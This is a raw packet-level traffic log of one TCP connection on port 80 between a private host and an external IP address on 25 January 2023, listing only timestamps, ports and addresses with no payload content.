Jan 25, 2023 21:04:28.637340069 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637352943 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.637370110 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637386084 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.637417078 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.637418032 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637450933 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.637459993 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637474060 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637480021 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.637501001 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.637516022 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637527943 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637531996 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.637552023 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637563944 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.637579918 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637593985 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.637628078 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.637638092 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637654066 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.637665033 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637691975 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637715101 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637736082 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.637764931 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.637787104 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637797117 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.637826920 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637828112 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.637839079 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637857914 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.637873888 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637886047 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.637906075 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637921095 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.637942076 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637957096 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.637974024 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638009071 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638017893 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638053894 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638063908 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638091087 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638099909 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638115883 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638139009 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638147116 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638178110 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638180971 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638199091 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638232946 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638237953 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638281107 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638289928 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638314962 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638328075 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638358116 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638358116 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638387918 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638411045 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638421059 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638452053 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638457060 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638484955 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638484955 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638509035 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638514042 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638531923 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638554096 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638557911 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638557911 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638576031 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638582945 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638597012 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638606071 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638619900 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638628006 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638644934 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638654947 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638667107 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638711929 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638716936 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638716936 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638725042 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638731003 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638757944 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638760090 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638786077 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638792038 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638814926 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638818979 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638840914 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638856888 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638870955 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638885021 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638906956 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638915062 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638927937 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638932943 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638953924 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638974905 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.638983011 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.638998032 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639019012 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639035940 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639040947 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639061928 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639064074 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639086008 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639098883 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639106989 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639112949 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639128923 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639151096 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639152050 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639174938 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639182091 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639198065 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639214993 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639220953 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639236927 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639244080 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639261961 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639267921 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639288902 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639296055 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639309883 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639328003 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639331102 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639350891 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639354944 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639378071 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639384985 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639400005 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639420986 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639420986 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639441967 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639451981 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639463902 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639484882 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639487982 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639507055 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639527082 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639537096 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639549017 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639570951 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639579058 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639592886 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639612913 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639616013 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639635086 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639640093 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639657974 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639673948 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639679909 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639693022 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639703035 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639718056 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639724970 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639743090 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639748096 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639766932 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639770031 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639791965 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639803886 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639813900 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639836073 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639839888 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639857054 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639870882 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639878988 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.639904976 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.639938116 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.677551031 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.677635908 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.677709103 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.677741051 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.677755117 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.677800894 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.677809954 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.677834034 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.677855015 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.677870989 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.677902937 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.677903891 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.677942991 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.677958012 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.677987099 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.677990913 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.678015947 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.678035975 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.678044081 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.678066015 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.678077936 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.678095102 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.678118944 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.678124905 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.678164959 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.678169966 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.678203106 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.678217888 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.678246021 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.678251028 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.678273916 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.678291082 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.678301096 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.678320885 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.678339005 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.678347111 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.678359985 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.678380013 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.678385973 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.678419113 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.678425074 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.678446054 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.678473949 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.678484917 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.678524971 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.678535938 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.678564072 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.678574085 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.678586006 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.678606033 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.678608894 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.678637981 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.678652048 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.678664923 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.678714037 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.678735018 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.678782940 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.678798914 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.678812981 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.678833961 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.678837061 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.678862095 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.678875923 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.678888083 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.678915977 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.678941011 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.678946972 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679025888 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679058075 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679059982 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679085970 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679100037 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679107904 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679128885 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679131985 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679150105 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679167986 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679169893 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679197073 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679200888 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679220915 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679230928 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679239035 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679264069 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679291010 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679291010 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679292917 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679317951 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679322958 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679349899 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679352045 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679380894 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679393053 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679404974 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679414988 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679435015 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679444075 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679460049 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679471016 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679487944 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679501057 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679512978 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679522038 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679542065 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679542065 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679567099 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679584980 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679600000 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679611921 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679625988 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679632902 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679652929 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679652929 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679678917 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679686069 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679707050 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679728985 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679733038 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679774046 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679774046 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679817915 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679817915 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679840088 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679860115 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679861069 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679881096 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679888964 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679903030 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679917097 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679925919 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679944038 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.679946899 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679969072 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679989100 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.679999113 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680008888 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680026054 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680030107 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680052996 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680068016 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680074930 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680095911 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680110931 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680116892 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680138111 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680156946 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680160999 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680176020 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680181980 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680202961 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680222988 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680224895 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680243969 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680262089 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680267096 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680288076 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680289030 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680311918 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680324078 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680332899 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680355072 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680360079 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680377007 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680387974 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.680399895 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.680422068 CET	80	49715	95.217.16.127	192.168.2.6
